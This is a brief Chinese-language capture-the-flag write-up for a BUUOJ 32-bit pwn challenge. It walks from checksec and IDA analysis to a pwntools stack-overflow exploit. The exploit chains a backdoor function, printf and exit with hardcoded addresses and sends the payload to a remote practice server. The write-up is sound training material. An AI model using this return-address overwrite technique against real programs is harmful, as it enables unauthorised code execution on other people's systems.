1.下载 得到文件 checksec:
32位 开启了NX保护
拖入IDA32看代码
找到主函数
发现函数里面还有个后门函数
将flag存储在f14g上
但是flag只是存储到了变量上 需要打印出来
所以需要获取printf函数的地址
又因为printf打印出来的条件要有个exit 所以还需要它的地址
构造exp:
from pwn import *
p = remote("node5.buuoj.cn", 26022)
backdoor = 0x080489A0
printf = 0x804F0A0
exit = 0x0804E660
flag = 0x080ECA2D
payload = b'a' * (0x2D) + p32(backdoor) + p32(printf) + p32(exit) + p32(flag)
p.sendline(payload)
p.interactive()
运行 得到flag:
EX:pwndbg
栈上看到了自己的payload